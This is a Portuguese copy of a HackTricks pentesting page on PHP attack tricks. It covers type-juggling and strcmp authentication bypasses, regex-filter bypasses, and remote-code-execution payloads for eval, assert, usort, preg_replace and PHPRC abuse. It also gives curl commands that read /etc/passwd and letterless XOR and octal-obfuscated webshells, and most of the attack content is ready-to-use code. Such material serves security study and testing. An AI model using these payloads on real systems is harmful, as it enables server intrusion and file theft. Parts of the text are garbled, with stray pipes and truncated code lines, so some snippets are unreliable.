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https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
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# Truques do PHP
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<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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## Localização comum dos Cookies:
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Isso também é válido para cookies do phpMyAdmin.
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Cookies:
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```
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PHPSESSID
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phpMyAdmin
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```
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Localizações:
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```
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/var/lib/php/sessions
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/var/lib/php5/
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/tmp/
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Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
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```
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## Bypassando comparações em PHP
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### Comparações frouxas/Type Juggling ( == )
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Se `==` é usado em PHP, então existem casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" apenas compara valores transformados para o mesmo tipo, se você também deseja comparar que o tipo dos dados comparados é o mesmo, você precisa usar `===`.
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Tabelas de comparação em PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
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![](<../../../.gitbook/assets/image (567).png>)
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{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
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* `"string" == 0 -> True` Uma string que não começa com um número é igual a um número
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* `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas com outros números/strings com True como resultado se os números forem iguais (números em uma string são interpretados como números)
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* `"0e3264578" == 0 --> True` Uma string que começa com "0e" e seguida por qualquer coisa será igual a 0
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* `"0X3264578" == 0X --> True` Uma string que começa com "0" e seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
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* `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada de string de "0" e algum conteúdo que está sendo hashado e comparado com ele. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderia contornar a comparação. Você pode encontrar **strings já hashadas** com este formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
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* `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
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Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
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### **in\_array()**
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**Type Juggling** também afeta a função `in_array()` por padrão (você precisa definir como true o terceiro argumento para fazer uma comparação estrita):
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```php
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$values = array("apple","orange","pear","grape");
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var_dump(in_array(0, $values));
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//True
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var_dump(in_array(0, $values, true));
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//False
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```
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### strcmp()/strcasecmp()
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Se esta função é usada para **qualquer verificação de autenticação** (como verificar a senha) e o usuário controla um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da senha (`https://example.com/login.php/?username=admin&password[]=`) e contornar essa verificação:
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```php
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if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
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// Real Password
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if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
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|
// Real Password
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```
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O mesmo erro ocorre com `strcasecmp()`
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### Tipagem estrita
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Mesmo se `===` estiver **sendo usado**, pode haver erros que tornam a **comparação vulnerável** à **tipagem dinâmica**. Por exemplo, se a comparação estiver **convertendo os dados para um tipo de objeto diferente antes de comparar**:
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```php
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(int) "1abc" === (int) "1xyz" //This will be true
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```
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### preg\_match(/^.\*/)
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**`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e se não estiver, o código pode continuar sua execução).
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#### Bypass de nova linha
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No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então se de alguma forma você puder **enviar** a entrada em **várias linhas**, você pode conseguir contornar essa verificação. Exemplo:
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```php
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$myinput="aaaaaaa
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11111111"; //Notice the new line
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echo preg_match("/1/",$myinput);
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//1 --> In this scenario preg_match find the char "1"
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echo preg_match("/1.*$/",$myinput);
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//1 --> In this scenario preg_match find the char "1"
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echo preg_match("/^.*1/",$myinput);
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//0 --> In this scenario preg_match DOESN'T find the char "1"
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echo preg_match("/^.*1.*$/",$myinput);
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|
//0 --> In this scenario preg_match DOESN'T find the char "1"
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```
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Para contornar essa verificação, você poderia **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, envie em **várias linhas**:
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```php
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{
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"cmd": "cat /etc/passwd"
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}
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```
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Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
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#### **Burla de erro de comprimento**
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(Esta burla foi aparentemente testada no PHP 5.2.5 e não consegui fazê-la funcionar no PHP 7.3.15)\
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Se você puder enviar para `preg_match()` uma entrada muito **grande e válida**, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver na lista negra um JSON, você poderia enviar:
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```bash
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payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
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```
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#### Bypass ReDoS
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Truque de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) e [https://mizu.re/post/pong](https://mizu.re/post/pong)
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<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
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Em resumo, o problema ocorre porque as funções `preg_*` em PHP são baseadas na [biblioteca PCRE](http://www.pcre.org/). No PCRE, certas expressões regulares são correspondidas usando muitas chamadas recursivas, o que consome muito espaço de pilha. É possível definir um limite para a quantidade de recursões permitidas, mas no PHP esse limite [é padrão para 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), o que é mais do que cabe na pilha.
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Neste [tópico do Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) também foi mencionado no post, onde é discutido mais a fundo sobre esse problema. Nossa tarefa agora estava clara:\
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**Enviar uma entrada que faria a regex fazer mais de 100.000 recursões, causando SIGSEGV, fazendo a função `preg_match()` retornar `false`, fazendo com que a aplicação pense que nossa entrada não é maliciosa, lançando a surpresa no final do payload algo como `{system(<comandomuitoruim>)}` para obter SSTI --> RCE --> flag :)**.
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Bem, em termos de regex, na verdade não estamos fazendo 100k "recursões", mas sim contando "passos de retrocesso", que, como a [documentação do PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) afirma, é padrão para 1.000.000 (1M) na variável `pcre.backtrack_limit`.\
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Para alcançar isso, `'X'*500_001` resultará em 1 milhão de passos de retrocesso (500k para frente e 500k para trás):
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```python
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payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
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```
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### Tipificação Fraca para ofuscação em PHP
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```php
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$obfs = "1"; //string "1"
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$obfs++; //int 2
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$obfs += 0.2; //float 2.2
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$obfs = 1 + "7 IGNORE"; //int 8
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$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
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$obfs = 3+2 * (TRUE + TRUE); //int 7
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$obfs .= ""; //string "7"
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$obfs += ""; //int 7
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```
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## Executar Após Redirecionamento (EAR)
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Se o PHP estiver redirecionando para outra página, mas nenhum **`die`** ou **`exit`** é **chamado após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo:
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```php
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<?php
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// In this page the page will be read and the content appended to the body of
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// the redirect response
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$page = $_GET['page'];
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header('Location: /index.php?page=default.html');
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readfile($page);
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?>
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```
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## Exploração de Traversal de Caminho e Inclusão de Arquivo
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Verifique:
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{% content-ref url="../../../pentesting-web/file-inclusion/" %}
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[file-inclusion](../../../pentesting-web/file-inclusion/)
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{% endcontent-ref %}
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## Mais truques
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* **register\_globals**: Em **PHP < 4.1.1.1** ou se estiver mal configurado, **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET se elas tiverem um valor, por exemplo $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, enviando parâmetros HTTP você pode sobrescrever variáveis** que são usadas no código.
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* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo local**, portanto, se dentro de um domínio **diferentes cookies são usados em caminhos diferentes** você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
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Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome** você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome correspondente a ele em path2).
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* Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
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* [**LFI e RCE usando php wrappers**](../../../pentesting-web/file-inclusion/)
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### password\_hash/password\_verify
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Essas funções são tipicamente usadas em PHP para **gerar hashes a partir de senhas** e para **verificar** se uma senha está correta em comparação com um hash.\
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Os algoritmos suportados são: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (começa com `$2y$`). Note que **PASSWORD\_DEFAULT é frequentemente o mesmo que PASSWORD\_BCRYPT.** E atualmente, **PASSWORD\_BCRYPT** tem uma **limitação de tamanho na entrada de 72 bytes**. Portanto, ao tentar gerar um hash de algo maior que 72 bytes com esse algoritmo, apenas os primeiros 72B serão usados:
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```php
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$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
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False
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$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
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True
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```
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### Bypass de cabeçalhos HTTP abusando de erros PHP
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#### Causando erro após definir cabeçalhos
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A partir [**deste thread no Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não irá definir cabeçalhos na resposta.
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Permitindo a bypass, por exemplo, de cabeçalhos CSP sendo definidos em códigos como:
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```php
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<?php
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header("Content-Security-Policy: default-src 'none';");
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if (isset($_GET["xss"])) echo $_GET["xss"];
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```
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#### Preenchendo um corpo antes de definir cabeçalhos
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Se uma **página PHP estiver imprimindo erros e ecoando de volta alguma entrada fornecida pelo usuário**, o usuário pode fazer o servidor PHP imprimir de volta algum **conteúdo longo o suficiente** para que, ao tentar **adicionar os cabeçalhos** na resposta, o servidor gere um erro.\
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No cenário a seguir, o **atacante fez o servidor gerar alguns erros grandes**, e como você pode ver na tela, quando o PHP tentou **modificar as informações do cabeçalho, não conseguiu** (então, por exemplo, o cabeçalho CSP não foi enviado ao usuário):
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![](<../../../.gitbook/assets/image (1085).png>)
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## Execução de Código
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**system("ls");**\
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**\`ls\`;**\
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**shell\_exec("ls");**
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[Verifique isso para mais funções úteis do PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
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### **RCE via** **preg\_replace()**
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```php
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preg_replace(pattern,replace,base)
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preg_replace("/a/e","phpinfo()","whatever")
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```
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|
Para executar o código no argumento "replace" é necessário ter pelo menos uma correspondência.
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Essa opção do preg\_replace foi **descontinuada a partir do PHP 5.5.0.**
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### **RCE via Eval()**
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```
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'.system('uname -a'); $dummy='
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'.system('uname -a');#
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'.system('uname -a');//
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'.phpinfo().'
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<?php phpinfo(); ?>
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```
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### **RCE via Assert()**
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Esta função dentro do php permite que você **execute código que está escrito em uma string** para **retornar verdadeiro ou falso** (e dependendo disso alterar a execução). Geralmente a variável do usuário será inserida no meio de uma string. Por exemplo:\
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`assert("strpos($_GET['page']),'..') === false")` --> Neste caso, para obter **RCE** você poderia fazer:
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```
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|
?page=a','NeVeR') === false and system('ls') and strpos('a
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|
```
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Você precisará **quebrar** a **sintaxe** do código, **adicionar** sua **carga útil** e então **corrigi-lo novamente**. Você pode usar operações lógicas como "**and**" ou "%26%26" ou "|". Note que "or", "||" não funcionam porque se a primeira condição for verdadeira, nossa carga útil não será executada. Da mesma forma, ";" não funciona, pois nossa carga útil não será executada.
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|
**Outra opção** é adicionar à string a execução do comando: `'.highlight_file('.passwd').'`
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**Outra opção** (se você tiver o código interno) é modificar alguma variável para alterar a execução: `$file = "hola"`
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### **RCE via usort()**
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Essa função é usada para classificar uma matriz de itens usando uma função específica.\
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Para abusar dessa função:
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```php
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<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
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VALUE: );phpinfo();#
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|
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
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|
```
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|
|
```php
|
|
<?php
|
|
function foo($x,$y){
|
|
usort(VALUE, "cmp");
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|
}?>
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|
VALUE: );}[PHP CODE];#
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|
<?php
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function foo($x,$y){
|
|
usort();}phpinfo;#, "cmp");
|
|
}?>
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```
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Você também pode usar **//** para comentar o restante do código.
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Para descobrir o número de parênteses que você precisa fechar:
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- `?order=id;}//`: obtemos uma mensagem de erro (`Erro de análise: erro de sintaxe, ';' inesperado`). Provavelmente estamos faltando um ou mais colchetes.
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|
- `?order=id);}//`: recebemos um **aviso**. Isso parece estar correto.
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- `?order=id));}//`: obtemos uma mensagem de erro (`Erro de análise: erro de sintaxe, ')' inesperado`). Provavelmente temos muitos colchetes de fechamento.
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|
### **RCE via .httaccess**
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|
Se você puder **fazer upload** de um **.htaccess**, então você pode **configurar** várias coisas e até mesmo executar código (configurando que arquivos com extensão .htaccess podem ser **executados**).
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|
Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wireghoul/htshells)
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|
### RCE via Variáveis de Ambiente
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|
Se você encontrar uma vulnerabilidade que permita **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
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|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
|
|
- **`PHPRC`** : Instrui o PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo carregado. Este segundo arquivo contém **código PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
|
|
1. Faça upload de um arquivo PHP contendo nosso código de shell
|
|
2. Faça upload de um segundo arquivo, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o arquivo que carregamos no passo 1
|
|
3. Defina a variável `PHPRC` para o arquivo que carregamos no passo 2.
|
|
- Obtenha mais informações sobre como executar essa cadeia [**no relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
|
- **PHPRC** - outra opção
|
|
- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
|
- Ou para obter RCE, habilite **`allow_url_include`** e adicione um arquivo com **código PHP em base64**:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
|
- Técnica [**deste relatório**](https://vulncheck.com/blog/juniper-cve-2023-36845).
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|
## Análise Estática do PHP
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|
Veja se você pode inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
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|
```php
|
|
exec, shell_exec, system, passthru, eval, popen
|
|
unserialize, include, file_put_cotents
|
|
$_COOKIE | if #This mea
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|
```
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|
Se estiver depurando uma aplicação PHP, você pode habilitar globalmente a impressão de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciando o apache: `sudo systemctl restart apache2`
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|
### Desofuscando código PHP
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|
Você pode usar o **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.**
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|
## Invólucros e Protocolos PHP
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|
|
Os invólucros e protocolos PHP podem permitir que você **bypass write and read protections** em um sistema e comprometê-lo. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
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|
## RCE não autenticado do Xdebug
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|
|
|
Se você perceber que o **Xdebug** está **habilitado** em uma saída `phpconfig()`, você deve tentar obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
|
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|
## Variáveis variáveis
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|
```php
|
|
$x = 'Da';
|
|
$$x = 'Drums';
|
|
|
|
echo $x; //Da
|
|
echo $$x; //Drums
|
|
echo $Da; //Drums
|
|
echo "${Da}"; //Drums
|
|
echo "$x ${$x}"; //Da Drums
|
|
echo "$x ${Da}"; //Da Drums
|
|
```
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|
## RCE abusando de novo $\_GET\["a"]\($\_GET\["b"])
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|
Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a página a seguir para aprender como:
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|
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
|
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
|
{% endcontent-ref %}
|
|
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## Executar PHP sem letras
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[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
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### Usando octal
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```php
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$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
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```
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### **XOR**
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XOR (ou exclusivo) é uma operação lógica que pode ser usada para ofuscar strings em PHP. É uma técnica comum usada para evitar a detecção de strings maliciosas em códigos PHP.
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```php
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$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
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$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
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$___=$__; #Could be not needed inside eval
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$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
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```
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### Código shell XOR fácil
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De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil desta maneira:
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```php
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$_="`{{{"^"?<>/"; // $_ = '_GET';
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${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
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$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
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```
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Portanto, se você pode **executar PHP arbitrário sem números e letras**, você pode enviar uma solicitação como a seguinte abusando desse payload para executar PHP arbitrário:
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```
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POST: /action.php?_=system&__=cat+flag.php
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Content-Type: application/x-www-form-urlencoded
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comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
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```
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Para uma explicação mais detalhada, consulte [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
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### Shellcode XOR (dentro de eval)
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```bash
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#!/bin/bash
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if [[ -z $1 ]]; then
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echo "USAGE: $0 CMD"
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exit
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fi
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CMD=$1
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CODE="\$_='\
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```
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```php
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lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
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```
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```php
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lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
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```
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### Semelhante ao Perl
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```php
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<?php
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$_=[];
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$_=@"$_"; // $_='Array';
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$_=$_['!'=='@']; // $_=$_[0];
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$___=$_; // A
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$__=$_;
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$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
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$___.=$__; // S
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$___.=$__; // S
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$__=$_;
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$__++;$__++;$__++;$__++; // E
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$___.=$__;
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$__=$_;
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$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
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$___.=$__;
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$__=$_;
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$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
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$___.=$__;
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$____='_';
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$__=$_;
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$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
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$____.=$__;
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$__=$_;
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$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
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$____.=$__;
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$__=$_;
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$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
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$____.=$__;
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$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
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$____.=$__;
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$_=$$____;
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$___($_[_]); // ASSERT($_POST[_]);
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```
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<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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